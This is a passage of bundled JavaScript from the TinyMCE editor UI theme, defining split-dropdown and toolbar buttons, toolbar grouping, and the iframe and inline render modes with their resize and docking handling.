      onStrictHandler('onItemExecute'),
      option$3('lazySink'),
      required$1('dom'),
      onHandler('onOpen'),
      field('splitDropdownBehaviours', [
        Coupling,
        Keying,
        Focusing
      ]),
      defaulted('matchWidth', false),
      defaulted('useMinWidth', false),
      defaulted('eventOrder', {}),
      option$3('role')
    ].concat(sandboxFields()));
    const arrowPart = required({
      factory: Button,
      schema: [required$1('dom')],
      name: 'arrow',
      defaults: () => {
        return { buttonBehaviours: derive$1([Focusing.revoke()]) };
      },
      overrides: detail => {
        return {
          dom: {
            tag: 'span',
            attributes: { role: 'presentation' }
          },
          action: arrow => {
            arrow.getSystem().getByUid(detail.uid).each(emitExecute);
          },
          buttonBehaviours: derive$1([Toggling.config({
              toggleOnExecute: false,
              toggleClass: detail.toggleClass
            })])
        };
      }
    });
    const buttonPart = required({
      factory: Button,
      schema: [required$1('dom')],
      name: 'button',
      defaults: () => {
        return { buttonBehaviours: derive$1([Focusing.revoke()]) };
      },
      overrides: detail => {
        return {
          dom: {
            tag: 'span',
            attributes: { role: 'presentation' }
          },
          action: btn => {
            btn.getSystem().getByUid(detail.uid).each(splitDropdown => {
              detail.onExecute(splitDropdown, btn);
            });
          }
        };
      }
    });
    const parts$3 = constant$1([
      arrowPart,
      buttonPart,
      optional({
        factory: {
          sketch: spec => {
            return {
              uid: spec.uid,
              dom: {
                tag: 'span',
                styles: { display: 'none' },
                attributes: { 'aria-hidden': 'true' },
                innerHtml: spec.text
              }
            };
          }
        },
        schema: [required$1('text')],
        name: 'aria-descriptor'
      }),
      external({
        schema: [tieredMenuMarkers()],
        name: 'menu',
        defaults: detail => {
          return {
            onExecute: (tmenu, item) => {
              tmenu.getSystem().getByUid(detail.uid).each(splitDropdown => {
                detail.onItemExecute(splitDropdown, tmenu, item);
              });
            }
          };
        }
      }),
      partType$1()
    ]);

    const factory$5 = (detail, components, spec, externals) => {
      const switchToMenu = sandbox => {
        Composing.getCurrent(sandbox).each(current => {
          Highlighting.highlightFirst(current);
          Keying.focusIn(current);
        });
      };
      const action = component => {
        const onOpenSync = switchToMenu;
        togglePopup(detail, identity, component, externals, onOpenSync, HighlightOnOpen.HighlightMenuAndItem).get(noop);
      };
      const openMenu = comp => {
        action(comp);
        return Optional.some(true);
      };
      const executeOnButton = comp => {
        const button = getPartOrDie(comp, detail, 'button');
        emitExecute(button);
        return Optional.some(true);
      };
      const buttonEvents = {
        ...derive$2([runOnAttached((component, _simulatedEvent) => {
            const ariaDescriptor = getPart(component, detail, 'aria-descriptor');
            ariaDescriptor.each(descriptor => {
              const descriptorId = generate$6('aria');
              set$9(descriptor.element, 'id', descriptorId);
              set$9(component.element, 'aria-describedby', descriptorId);
            });
          })]),
        ...events$a(Optional.some(action))
      };
      const apis = {
        repositionMenus: comp => {
          if (Toggling.isOn(comp)) {
            repositionMenus(comp);
          }
        }
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        apis,
        eventOrder: {
          ...detail.eventOrder,
          [execute$5()]: [
            'disabling',
            'toggling',
            'alloy.base.behaviour'
          ]
        },
        events: buttonEvents,
        behaviours: augment(detail.splitDropdownBehaviours, [
          Coupling.config({
            others: {
              sandbox: hotspot => {
                const arrow = getPartOrDie(hotspot, detail, 'arrow');
                const extras = {
                  onOpen: () => {
                    Toggling.on(arrow);
                    Toggling.on(hotspot);
                  },
                  onClose: () => {
                    Toggling.off(arrow);
                    Toggling.off(hotspot);
                  }
                };
                return makeSandbox$1(detail, hotspot, extras);
              }
            }
          }),
          Keying.config({
            mode: 'special',
            onSpace: executeOnButton,
            onEnter: executeOnButton,
            onDown: openMenu
          }),
          Focusing.config({}),
          Toggling.config({
            toggleOnExecute: false,
            aria: { mode: 'expanded' }
          })
        ]),
        domModification: {
          attributes: {
            'role': detail.role.getOr('button'),
            'aria-haspopup': true
          }
        }
      };
    };
    const SplitDropdown = composite({
      name: 'SplitDropdown',
      configFields: schema$7(),
      partFields: parts$3(),
      factory: factory$5,
      apis: { repositionMenus: (apis, comp) => apis.repositionMenus(comp) }
    });

    const getButtonApi = component => ({
      isEnabled: () => !Disabling.isDisabled(component),
      setEnabled: state => Disabling.set(component, !state)
    });
    const getToggleApi = component => ({
      setActive: state => {
        Toggling.set(component, state);
      },
      isActive: () => Toggling.isOn(component),
      isEnabled: () => !Disabling.isDisabled(component),
      setEnabled: state => Disabling.set(component, !state)
    });
    const getTooltipAttributes = (tooltip, providersBackstage) => tooltip.map(tooltip => ({
      'aria-label': providersBackstage.translate(tooltip),
      'title': providersBackstage.translate(tooltip)
    })).getOr({});
    const focusButtonEvent = generate$6('focus-button');
    const renderCommonStructure = (icon, text, tooltip, receiver, behaviours, providersBackstage) => {
      return {
        dom: {
          tag: 'button',
          classes: ['tox-tbtn'].concat(text.isSome() ? ['tox-tbtn--select'] : []),
          attributes: getTooltipAttributes(tooltip, providersBackstage)
        },
        components: componentRenderPipeline([
          icon.map(iconName => renderIconFromPack(iconName, providersBackstage.icons)),
          text.map(text => renderLabel(text, 'tox-tbtn', providersBackstage))
        ]),
        eventOrder: {
          [mousedown()]: [
            'focusing',
            'alloy.base.behaviour',
            'common-button-display-events'
          ]
        },
        buttonBehaviours: derive$1([
          DisablingConfigs.toolbarButton(providersBackstage.isDisabled),
          receivingConfig(),
          config('common-button-display-events', [run$1(mousedown(), (button, se) => {
              se.event.prevent();
              emit(button, focusButtonEvent);
            })])
        ].concat(receiver.map(r => Reflecting.config({
          channel: r,
          initialData: {
            icon,
            text
          },
          renderComponents: (data, _state) => componentRenderPipeline([
            data.icon.map(iconName => renderIconFromPack(iconName, providersBackstage.icons)),
            data.text.map(text => renderLabel(text, 'tox-tbtn', providersBackstage))
          ])
        })).toArray()).concat(behaviours.getOr([])))
      };
    };
    const renderFloatingToolbarButton = (spec, backstage, identifyButtons, attributes) => {
      const sharedBackstage = backstage.shared;
      return FloatingToolbarButton.sketch({
        lazySink: sharedBackstage.getSink,
        fetch: () => Future.nu(resolve => {
          resolve(map$2(identifyButtons(spec.items), renderToolbarGroup));
        }),
        markers: { toggledClass: 'tox-tbtn--enabled' },
        parts: {
          button: renderCommonStructure(spec.icon, spec.text, spec.tooltip, Optional.none(), Optional.none(), sharedBackstage.providers),
          toolbar: {
            dom: {
              tag: 'div',
              classes: ['tox-toolbar__overflow'],
              attributes
            }
          }
        }
      });
    };
    const renderCommonToolbarButton = (spec, specialisation, providersBackstage) => {
      const editorOffCell = Cell(noop);
      const structure = renderCommonStructure(spec.icon, spec.text, spec.tooltip, Optional.none(), Optional.none(), providersBackstage);
      return Button.sketch({
        dom: structure.dom,
        components: structure.components,
        eventOrder: toolbarButtonEventOrder,
        buttonBehaviours: derive$1([
          config('toolbar-button-events', [
            onToolbarButtonExecute({
              onAction: spec.onAction,
              getApi: specialisation.getApi
            }),
            onControlAttached(specialisation, editorOffCell),
            onControlDetached(specialisation, editorOffCell)
          ]),
          DisablingConfigs.toolbarButton(() => !spec.enabled || providersBackstage.isDisabled()),
          receivingConfig()
        ].concat(specialisation.toolbarButtonBehaviours))
      });
    };
    const renderToolbarButton = (spec, providersBackstage) => renderToolbarButtonWith(spec, providersBackstage, []);
    const renderToolbarButtonWith = (spec, providersBackstage, bonusEvents) => renderCommonToolbarButton(spec, {
      toolbarButtonBehaviours: bonusEvents.length > 0 ? [config('toolbarButtonWith', bonusEvents)] : [],
      getApi: getButtonApi,
      onSetup: spec.onSetup
    }, providersBackstage);
    const renderToolbarToggleButton = (spec, providersBackstage) => renderToolbarToggleButtonWith(spec, providersBackstage, []);
    const renderToolbarToggleButtonWith = (spec, providersBackstage, bonusEvents) => renderCommonToolbarButton(spec, {
      toolbarButtonBehaviours: [
        Replacing.config({}),
        Toggling.config({
          toggleClass: 'tox-tbtn--enabled',
          aria: { mode: 'pressed' },
          toggleOnExecute: false
        })
      ].concat(bonusEvents.length > 0 ? [config('toolbarToggleButtonWith', bonusEvents)] : []),
      getApi: getToggleApi,
      onSetup: spec.onSetup
    }, providersBackstage);
    const fetchChoices = (getApi, spec, providersBackstage) => comp => Future.nu(callback => spec.fetch(callback)).map(items => Optional.from(createTieredDataFrom(deepMerge(createPartialChoiceMenu(generate$6('menu-value'), items, value => {
      spec.onItemAction(getApi(comp), value);
    }, spec.columns, spec.presets, ItemResponse$1.CLOSE_ON_EXECUTE, spec.select.getOr(never), providersBackstage), {
      movement: deriveMenuMovement(spec.columns, spec.presets),
      menuBehaviours: SimpleBehaviours.unnamedEvents(spec.columns !== 'auto' ? [] : [runOnAttached((comp, _se) => {
          detectSize(comp, 4, classForPreset(spec.presets)).each(({numRows, numColumns}) => {
            Keying.setGridSize(comp, numRows, numColumns);
          });
        })])
    }))));
    const renderSplitButton = (spec, sharedBackstage) => {
      const displayChannel = generate$6('channel-update-split-dropdown-display');
      const getApi = comp => ({
        isEnabled: () => !Disabling.isDisabled(comp),
        setEnabled: state => Disabling.set(comp, !state),
        setIconFill: (id, value) => {
          descendant(comp.element, 'svg path[id="' + id + '"], rect[id="' + id + '"]').each(underlinePath => {
            set$9(underlinePath, 'fill', value);
          });
        },
        setActive: state => {
          set$9(comp.element, 'aria-pressed', state);
          descendant(comp.element, 'span').each(button => {
            comp.getSystem().getByDom(button).each(buttonComp => Toggling.set(buttonComp, state));
          });
        },
        isActive: () => descendant(comp.element, 'span').exists(button => comp.getSystem().getByDom(button).exists(Toggling.isOn))
      });
      const editorOffCell = Cell(noop);
      const specialisation = {
        getApi,
        onSetup: spec.onSetup
      };
      return SplitDropdown.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-split-button'],
          attributes: {
            'aria-pressed': false,
            ...getTooltipAttributes(spec.tooltip, sharedBackstage.providers)
          }
        },
        onExecute: button => {
          spec.onAction(getApi(button));
        },
        onItemExecute: (_a, _b, _c) => {
        },
        splitDropdownBehaviours: derive$1([
          DisablingConfigs.splitButton(sharedBackstage.providers.isDisabled),
          receivingConfig(),
          config('split-dropdown-events', [
            run$1(focusButtonEvent, Focusing.focus),
            onControlAttached(specialisation, editorOffCell),
            onControlDetached(specialisation, editorOffCell)
          ]),
          Unselecting.config({})
        ]),
        eventOrder: {
          [attachedToDom()]: [
            'alloy.base.behaviour',
            'split-dropdown-events'
          ]
        },
        toggleClass: 'tox-tbtn--enabled',
        lazySink: sharedBackstage.getSink,
        fetch: fetchChoices(getApi, spec, sharedBackstage.providers),
        parts: { menu: part(false, spec.columns, spec.presets) },
        components: [
          SplitDropdown.parts.button(renderCommonStructure(spec.icon, spec.text, Optional.none(), Optional.some(displayChannel), Optional.some([Toggling.config({
              toggleClass: 'tox-tbtn--enabled',
              toggleOnExecute: false
            })]), sharedBackstage.providers)),
          SplitDropdown.parts.arrow({
            dom: {
              tag: 'button',
              classes: [
                'tox-tbtn',
                'tox-split-button__chevron'
              ],
              innerHtml: get$2('chevron-down', sharedBackstage.providers.icons)
            },
            buttonBehaviours: derive$1([
              DisablingConfigs.splitButton(sharedBackstage.providers.isDisabled),
              receivingConfig(),
              addFocusableBehaviour()
            ])
          }),
          SplitDropdown.parts['aria-descriptor']({ text: sharedBackstage.providers.translate('To open the popup, press Shift+Enter') })
        ]
      });
    };

    const defaultToolbar = [
      {
        name: 'history',
        items: [
          'undo',
          'redo'
        ]
      },
      {
        name: 'styles',
        items: ['styles']
      },
      {
        name: 'formatting',
        items: [
          'bold',
          'italic'
        ]
      },
      {
        name: 'alignment',
        items: [
          'alignleft',
          'aligncenter',
          'alignright',
          'alignjustify'
        ]
      },
      {
        name: 'indentation',
        items: [
          'outdent',
          'indent'
        ]
      },
      {
        name: 'permanent pen',
        items: ['permanentpen']
      },
      {
        name: 'comments',
        items: ['addcomment']
      }
    ];
    const renderFromBridge = (bridgeBuilder, render) => (spec, backstage, editor) => {
      const internal = bridgeBuilder(spec).mapError(errInfo => formatError(errInfo)).getOrDie();
      return render(internal, backstage, editor);
    };
    const types = {
      button: renderFromBridge(createToolbarButton, (s, backstage) => renderToolbarButton(s, backstage.shared.providers)),
      togglebutton: renderFromBridge(createToggleButton, (s, backstage) => renderToolbarToggleButton(s, backstage.shared.providers)),
      menubutton: renderFromBridge(createMenuButton, (s, backstage) => renderMenuButton(s, 'tox-tbtn', backstage, Optional.none())),
      splitbutton: renderFromBridge(createSplitButton, (s, backstage) => renderSplitButton(s, backstage.shared)),
      grouptoolbarbutton: renderFromBridge(createGroupToolbarButton, (s, backstage, editor) => {
        const buttons = editor.ui.registry.getAll().buttons;
        const identify = toolbar => identifyButtons(editor, {
          buttons,
          toolbar,
          allowToolbarGroups: false
        }, backstage, Optional.none());
        const attributes = { [Attribute]: backstage.shared.header.isPositionedAtTop() ? AttributeValue.TopToBottom : AttributeValue.BottomToTop };
        switch (getToolbarMode(editor)) {
        case ToolbarMode$1.floating:
          return renderFloatingToolbarButton(s, backstage, identify, attributes);
        default:
          throw new Error('Toolbar groups are only supported when using floating toolbar mode');
        }
      })
    };
    const extractFrom = (spec, backstage, editor) => get$g(types, spec.type).fold(() => {
      console.error('skipping button defined by', spec);
      return Optional.none();
    }, render => Optional.some(render(spec, backstage, editor)));
    const bespokeButtons = {
      styles: createStylesButton,
      fontsize: createFontSizeButton,
      fontfamily: createFontFamilyButton,
      blocks: createBlocksButton,
      align: createAlignButton
    };
    const removeUnusedDefaults = buttons => {
      const filteredItemGroups = map$2(defaultToolbar, group => {
        const items = filter$2(group.items, subItem => has$2(buttons, subItem) || has$2(bespokeButtons, subItem));
        return {
          name: group.name,
          items
        };
      });
      return filter$2(filteredItemGroups, group => group.items.length > 0);
    };
    const convertStringToolbar = strToolbar => {
      const groupsStrings = strToolbar.split('|');
      return map$2(groupsStrings, g => ({ items: g.trim().split(' ') }));
    };
    const isToolbarGroupSettingArray = toolbar => isArrayOf(toolbar, t => has$2(t, 'name') && has$2(t, 'items'));
    const createToolbar = toolbarConfig => {
      const toolbar = toolbarConfig.toolbar;
      const buttons = toolbarConfig.buttons;
      if (toolbar === false) {
        return [];
      } else if (toolbar === undefined || toolbar === true) {
        return removeUnusedDefaults(buttons);
      } else if (isString(toolbar)) {
        return convertStringToolbar(toolbar);
      } else if (isToolbarGroupSettingArray(toolbar)) {
        return toolbar;
      } else {
        console.error('Toolbar type should be string, string[], boolean or ToolbarGroup[]');
        return [];
      }
    };
    const lookupButton = (editor, buttons, toolbarItem, allowToolbarGroups, backstage, prefixes) => get$g(buttons, toolbarItem.toLowerCase()).orThunk(() => prefixes.bind(ps => findMap(ps, prefix => get$g(buttons, prefix + toolbarItem.toLowerCase())))).fold(() => get$g(bespokeButtons, toolbarItem.toLowerCase()).map(r => r(editor, backstage)), spec => {
      if (spec.type === 'grouptoolbarbutton' && !allowToolbarGroups) {
        console.warn(`Ignoring the '${ toolbarItem }' toolbar button. Group toolbar buttons are only supported when using floating toolbar mode and cannot be nested.`);
        return Optional.none();
      } else {
        return extractFrom(spec, backstage, editor);
      }
    });
    const identifyButtons = (editor, toolbarConfig, backstage, prefixes) => {
      const toolbarGroups = createToolbar(toolbarConfig);
      const groups = map$2(toolbarGroups, group => {
        const items = bind$3(group.items, toolbarItem => {
          return toolbarItem.trim().length === 0 ? [] : lookupButton(editor, toolbarConfig.buttons, toolbarItem, toolbarConfig.allowToolbarGroups, backstage, prefixes).toArray();
        });
        return {
          title: Optional.from(editor.translate(group.name)),
          items
        };
      });
      return filter$2(groups, group => group.items.length > 0);
    };

    const setToolbar = (editor, uiRefs, rawUiConfig, backstage) => {
      const outerContainer = uiRefs.mainUi.outerContainer;
      const toolbarConfig = rawUiConfig.toolbar;
      const toolbarButtonsConfig = rawUiConfig.buttons;
      if (isArrayOf(toolbarConfig, isString)) {
        const toolbars = toolbarConfig.map(t => {
          const config = {
            toolbar: t,
            buttons: toolbarButtonsConfig,
            allowToolbarGroups: rawUiConfig.allowToolbarGroups
          };
          return identifyButtons(editor, config, backstage, Optional.none());
        });
        OuterContainer.setToolbars(outerContainer, toolbars);
      } else {
        OuterContainer.setToolbar(outerContainer, identifyButtons(editor, rawUiConfig, backstage, Optional.none()));
      }
    };

    const detection = detect$1();
    const isiOS12 = detection.os.isiOS() && detection.os.version.major <= 12;
    const setupEvents$1 = (editor, uiRefs) => {
      const {uiMotherships} = uiRefs;
      const dom = editor.dom;
      let contentWindow = editor.getWin();
      const initialDocEle = editor.getDoc().documentElement;
      const lastWindowDimensions = Cell(SugarPosition(contentWindow.innerWidth, contentWindow.innerHeight));
      const lastDocumentDimensions = Cell(SugarPosition(initialDocEle.offsetWidth, initialDocEle.offsetHeight));
      const resizeWindow = () => {
        const outer = lastWindowDimensions.get();
        if (outer.left !== contentWindow.innerWidth || outer.top !== contentWindow.innerHeight) {
          lastWindowDimensions.set(SugarPosition(contentWindow.innerWidth, contentWindow.innerHeight));
          fireResizeContent(editor);
        }
      };
      const resizeDocument = () => {
        const docEle = editor.getDoc().documentElement;
        const inner = lastDocumentDimensions.get();
        if (inner.left !== docEle.offsetWidth || inner.top !== docEle.offsetHeight) {
          lastDocumentDimensions.set(SugarPosition(docEle.offsetWidth, docEle.offsetHeight));
          fireResizeContent(editor);
        }
      };
      const scroll = e => {
        fireScrollContent(editor, e);
      };
      dom.bind(contentWindow, 'resize', resizeWindow);
      dom.bind(contentWindow, 'scroll', scroll);
      const elementLoad = capture(SugarElement.fromDom(editor.getBody()), 'load', resizeDocument);
      editor.on('hide', () => {
        each$1(uiMotherships, m => {
          set$8(m.element, 'display', 'none');
        });
      });
      editor.on('show', () => {
        each$1(uiMotherships, m => {
          remove$6(m.element, 'display');
        });
      });
      editor.on('NodeChange', resizeDocument);
      editor.on('remove', () => {
        elementLoad.unbind();
        dom.unbind(contentWindow, 'resize', resizeWindow);
        dom.unbind(contentWindow, 'scroll', scroll);
        contentWindow = null;
      });
    };
    const attachUiMotherships$1 = (uiRoot, uiRefs) => {
      attachSystem(uiRoot, uiRefs.dialogUi.mothership);
    };
    const render$1 = (editor, uiRefs, rawUiConfig, backstage, args) => {
      const {mainUi, uiMotherships} = uiRefs;
      const lastToolbarWidth = Cell(0);
      const outerContainer = mainUi.outerContainer;
      iframe(editor);
      const eTargetNode = SugarElement.fromDom(args.targetNode);
      const uiRoot = getContentContainer(getRootNode(eTargetNode));
      attachSystemAfter(eTargetNode, mainUi.mothership);
      attachUiMotherships$1(uiRoot, uiRefs);
      editor.on('PostRender', () => {
        OuterContainer.setSidebar(outerContainer, rawUiConfig.sidebar, getSidebarShow(editor));
        setToolbar(editor, uiRefs, rawUiConfig, backstage);
        lastToolbarWidth.set(editor.getWin().innerWidth);
        OuterContainer.setMenubar(outerContainer, identifyMenus(editor, rawUiConfig));
        OuterContainer.setViews(outerContainer, rawUiConfig.views);
        setupEvents$1(editor, uiRefs);
      });
      const socket = OuterContainer.getSocket(outerContainer).getOrDie('Could not find expected socket element');
      if (isiOS12) {
        setAll(socket.element, {
          'overflow': 'scroll',
          '-webkit-overflow-scrolling': 'touch'
        });
        const limit = first(() => {
          editor.dispatch('ScrollContent');
        }, 20);
        const unbinder = bind(socket.element, 'scroll', limit.throttle);
        editor.on('remove', unbinder.unbind);
      }
      setupReadonlyModeSwitch(editor, uiRefs);
      editor.addCommand('ToggleSidebar', (_ui, value) => {
        OuterContainer.toggleSidebar(outerContainer, value);
        editor.dispatch('ToggleSidebar');
      });
      editor.addQueryValueHandler('ToggleSidebar', () => {
        var _a;
        return (_a = OuterContainer.whichSidebar(outerContainer)) !== null && _a !== void 0 ? _a : '';
      });
      editor.addCommand('ToggleView', (_ui, value) => {
        if (OuterContainer.toggleView(outerContainer, value)) {
          const target = outerContainer.element;
          mainUi.mothership.broadcastOn([dismissPopups()], { target });
          each$1(uiMotherships, m => {
            m.broadcastOn([dismissPopups()], { target });
          });
          if (isNull(OuterContainer.whichView(outerContainer))) {
            editor.focus();
            editor.nodeChanged();
          }
        }
      });
      editor.addQueryValueHandler('ToggleView', () => {
        var _a;
        return (_a = OuterContainer.whichView(outerContainer)) !== null && _a !== void 0 ? _a : '';
      });
      const toolbarMode = getToolbarMode(editor);
      const refreshDrawer = () => {
        OuterContainer.refreshToolbar(uiRefs.mainUi.outerContainer);
      };
      if (toolbarMode === ToolbarMode$1.sliding || toolbarMode === ToolbarMode$1.floating) {
        editor.on('ResizeWindow ResizeEditor ResizeContent', () => {
          const width = editor.getWin().innerWidth;
          if (width !== lastToolbarWidth.get()) {
            refreshDrawer();
            lastToolbarWidth.set(width);
          }
        });
      }
      const api = {
        setEnabled: state => {
          broadcastReadonly(uiRefs, !state);
        },
        isEnabled: () => !Disabling.isDisabled(outerContainer)
      };
      return {
        iframeContainer: socket.element.dom,
        editorContainer: outerContainer.element.dom,
        api
      };
    };

    var Iframe = /*#__PURE__*/Object.freeze({
        __proto__: null,
        render: render$1
    });

    const parseToInt = val => {
      const re = /^[0-9\.]+(|px)$/i;
      if (re.test('' + val)) {
        return Optional.some(parseInt('' + val, 10));
      }
      return Optional.none();
    };
    const numToPx = val => isNumber(val) ? val + 'px' : val;
    const calcCappedSize = (size, minSize, maxSize) => {
      const minOverride = minSize.filter(min => size < min);
      const maxOverride = maxSize.filter(max => size > max);
      return minOverride.or(maxOverride).getOr(size);
    };

    const getHeight = editor => {
      const baseHeight = getHeightOption(editor);
      const minHeight = getMinHeightOption(editor);
      const maxHeight = getMaxHeightOption(editor);
      return parseToInt(baseHeight).map(height => calcCappedSize(height, minHeight, maxHeight));
    };
    const getHeightWithFallback = editor => {
      const height = getHeight(editor);
      return height.getOr(getHeightOption(editor));
    };
    const getWidth = editor => {
      const baseWidth = getWidthOption(editor);
      const minWidth = getMinWidthOption(editor);
      const maxWidth = getMaxWidthOption(editor);
      return parseToInt(baseWidth).map(width => calcCappedSize(width, minWidth, maxWidth));
    };
    const getWidthWithFallback = editor => {
      const width = getWidth(editor);
      return width.getOr(getWidthOption(editor));
    };

    const {ToolbarLocation, ToolbarMode} = Options;
    const InlineHeader = (editor, targetElm, uiRefs, backstage, floatContainer) => {
      const {mainUi, uiMotherships} = uiRefs;
      const DOM = global$7.DOM;
      const useFixedToolbarContainer = useFixedContainer(editor);
      const isSticky = isStickyToolbar(editor);
      const editorMaxWidthOpt = getMaxWidthOption(editor).or(getWidth(editor));
      const headerBackstage = backstage.shared.header;
      const isPositionedAtTop = headerBackstage.isPositionedAtTop;
      const toolbarMode = getToolbarMode(editor);
      const isSplitToolbar = toolbarMode === ToolbarMode.sliding || toolbarMode === ToolbarMode.floating;
      const visible = Cell(false);
      const isVisible = () => visible.get() && !editor.removed;
      const calcToolbarOffset = toolbar => isSplitToolbar ? toolbar.fold(constant$1(0), tbar => tbar.components().length > 1 ? get$d(tbar.components()[1].element) : 0) : 0;
      const calcMode = container => {
        switch (getToolbarLocation(editor)) {
        case ToolbarLocation.auto:
          const toolbar = OuterContainer.getToolbar(mainUi.outerContainer);
          const offset = calcToolbarOffset(toolbar);
          const toolbarHeight = get$d(container.element) - offset;
          const targetBounds = box$1(targetElm);
          const roomAtTop = targetBounds.y > toolbarHeight;
          if (roomAtTop) {
            return 'top';
          } else {
            const doc = documentElement(targetElm);
            const docHeight = Math.max(doc.dom.scrollHeight, get$d(doc));
            const roomAtBottom = targetBounds.bottom < docHeight - toolbarHeight;
            if (roomAtBottom) {
              return 'bottom';
            } else {
              const winBounds = win();
              const isRoomAtBottomViewport = winBounds.bottom < targetBounds.bottom - toolbarHeight;
              return isRoomAtBottomViewport ? 'bottom' : 'top';
            }
          }
        case ToolbarLocation.bottom:
          return 'bottom';
        case ToolbarLocation.top:
        default:
          return 'top';
        }
      };
      const setupMode = mode => {
        floatContainer.on(container => {
          Docking.setModes(container, [mode]);
          headerBackstage.setDockingMode(mode);
          const verticalDir = isPositionedAtTop() ? AttributeValue.TopToBottom : AttributeValue.BottomToTop;
          set$9(container.element, Attribute, verticalDir);
        });
      };
      const updateChromeWidth = () => {
        floatContainer.on(container => {
          const maxWidth = editorMaxWidthOpt.getOrThunk(() => {
            const bodyMargin = parseToInt(get$e(body(), 'margin-left')).getOr(0);
            return get$c(body()) - absolute$3(targetElm).left + bodyMargin;
          });
          set$8(container.element, 'max-width', maxWidth + 'px');
        });
      };
      const updateChromePosition = () => {
        floatContainer.on(container => {
          const toolbar = OuterContainer.getToolbar(mainUi.outerContainer);
          const offset = calcToolbarOffset(toolbar);
          const targetBounds = box$1(targetElm);
          const top = isPositionedAtTop() ? Math.max(targetBounds.y - get$d(container.element) + offset, 0) : targetBounds.bottom;
          setAll(mainUi.outerContainer.element, {
            position: 'absolute',
            top: Math.round(top) + 'px',
            left: Math.round(targetBounds.x) + 'px'
          });
        });
      };
      const repositionPopups$1 = () => {
        each$1(uiMotherships, m => {
          m.broadcastOn([repositionPopups()], {});
        });
      };
      const updateChromeUi = (resetDocking = false) => {
        if (!isVisible()) {
          return;
        }
        if (!useFixedToolbarContainer) {
          updateChromeWidth();
        }
        if (isSplitToolbar) {
          OuterContainer.refreshToolbar(mainUi.outerContainer);
        }
        if (!useFixedToolbarContainer) {
          updateChromePosition();
        }
        if (isSticky) {
          const action = resetDocking ? Docking.reset : Docking.refresh;
          floatContainer.on(action);
        }
        repositionPopups$1();
      };
      const updateMode = (updateUi = true) => {
        if (useFixedToolbarContainer || !isSticky || !isVisible()) {
          return;
        }
        floatContainer.on(container => {
          const currentMode = headerBackstage.getDockingMode();
          const newMode = calcMode(container);
          if (newMode !== currentMode) {
            setupMode(newMode);
            if (updateUi) {
              updateChromeUi(true);
            }
          }
        });
      };
      const show = () => {
        visible.set(true);
        set$8(mainUi.outerContainer.element, 'display', 'flex');
        DOM.addClass(editor.getBody(), 'mce-edit-focus');
        each$1(uiMotherships, m => {
          remove$6(m.element, 'display');
        });
        updateMode(false);
        updateChromeUi();
      };
      const hide = () => {
        visible.set(false);
        set$8(mainUi.outerContainer.element, 'display', 'none');
        DOM.removeClass(editor.getBody(), 'mce-edit-focus');
        each$1(uiMotherships, m => {
          set$8(m.element, 'display', 'none');
        });
      };
      return {
        isVisible,
        isPositionedAtTop,
        show,
        hide,
        update: updateChromeUi,
        updateMode,
        repositionPopups: repositionPopups$1
      };
    };

    const getTargetPosAndBounds = (targetElm, isToolbarTop) => {
      const bounds = box$1(targetElm);
      return {
        pos: isToolbarTop ? bounds.y : bounds.bottom,
        bounds
      };
    };
    const setupEvents = (editor, targetElm, ui, toolbarPersist) => {
      const prevPosAndBounds = Cell(getTargetPosAndBounds(targetElm, ui.isPositionedAtTop()));
      const resizeContent = e => {
        const {pos, bounds} = getTargetPosAndBounds(targetElm, ui.isPositionedAtTop());
        const {
          pos: prevPos,
          bounds: prevBounds
        } = prevPosAndBounds.get();
        const hasResized = bounds.height !== prevBounds.height || bounds.width !== prevBounds.width;
        prevPosAndBounds.set({
          pos,
          bounds
        });
        if (hasResized) {
          fireResizeContent(editor, e);
        }
        if (ui.isVisible()) {
          if (prevPos !== pos) {
            ui.update(true);
          } else if (hasResized) {
            ui.updateMode();
            ui.repositionPopups();
          }
        }
      };
      if (!toolbarPersist) {
        editor.on('activate', ui.show);
        editor.on('deactivate', ui.hide);
      }
      editor.on('SkinLoaded ResizeWindow', () => ui.update(true));
      editor.on('NodeChange keydown', e => {
        requestAnimationFrame(() => resizeContent(e));
      });
      editor.on('ScrollWindow', () => ui.updateMode());
      const elementLoad = unbindable();
      elementLoad.set(capture(SugarElement.fromDom(editor.getBody()), 'load', e => resizeContent(e.raw)));
      editor.on('remove', () => {
        elementLoad.clear();
      });
    };
    const attachUiMotherships = (uiRoot, uiRefs) => {
      attachSystem(uiRoot, uiRefs.dialogUi.mothership);
    };
    const render = (editor, uiRefs, rawUiConfig, backstage, args) => {
      const {mainUi} = uiRefs;
      const floatContainer = value$2();
      const targetElm = SugarElement.fromDom(args.targetNode);
      const ui = InlineHeader(editor, targetElm, uiRefs, backstage, floatContainer);
      const toolbarPersist = isToolbarPersist(editor);
      inline(editor);
      const render = () => {
        if (floatContainer.isSet()) {
          ui.show();
          return;
        }
        floatContainer.set(OuterContainer.getHeader(mainUi.outerContainer).getOrDie());
        const uiContainer = getUiContainer(editor);
        attachSystem(uiContainer, mainUi.mothership);
        attachUiMotherships(uiContainer, uiRefs);
        setToolbar(editor, uiRefs, rawUiConfig, backstage);
        OuterContainer.setMenubar(mainUi.outerContainer, identifyMenus(editor, rawUiConfig));
        ui.show();
        setupEvents(editor, targetElm, ui, toolbarPersist);
        editor.nodeChanged();
      };
      editor.on('show', render);
      editor.on('hide', ui.hide);
      if (!toolbarPersist) {
        editor.on('focus', render);
        editor.on('blur', ui.hide);
      }
      editor.on('init', () => {
        if (editor.hasFocus() || toolbarPersist) {
          render();
        }
      });
      setupReadonlyModeSwitch(editor, uiRefs);
      const api = {
        show: render,
        hide: ui.hide,
        setEnabled: state => {
          broadcastReadonly(uiRefs, !state);
        },
        isEnabled: () => !Disabling.isDisabled(mainUi.outerContainer)
      };
      return {
        editorContainer: mainUi.outerContainer.element.dom,
        api
      };
    };

    var Inline = /*#__PURE__*/Object.freeze({
        __proto__: null,
        render: render
    });

    const LazyUiReferences = () => {
      const dialogUi = value$2();
      const popupUi = value$2();
      const mainUi = value$2();
      const setupDialogUi = ui => {
        dialogUi.set(ui);
      };
      const lazyGetInOuterOrDie = (label, f) => () => mainUi.get().bind(oc => f(oc.outerContainer)).getOrDie(`Could not find ${ label } element in OuterContainer`);
      return {
        dialogUi,
        popupUi,
        mainUi,
        getUiMotherships: () => [...dialogUi.get().map(e => e.mothership).toArray()],
        setupDialogUi,
        lazyGetInOuterOrDie
      };
    };

    const showContextToolbarEvent = 'contexttoolbar-show';
    const hideContextToolbarEvent = 'contexttoolbar-hide';

    const getFormApi = input => ({
      hide: () => emit(input, sandboxClose()),
      getValue: () => Representing.getValue(input)
    });
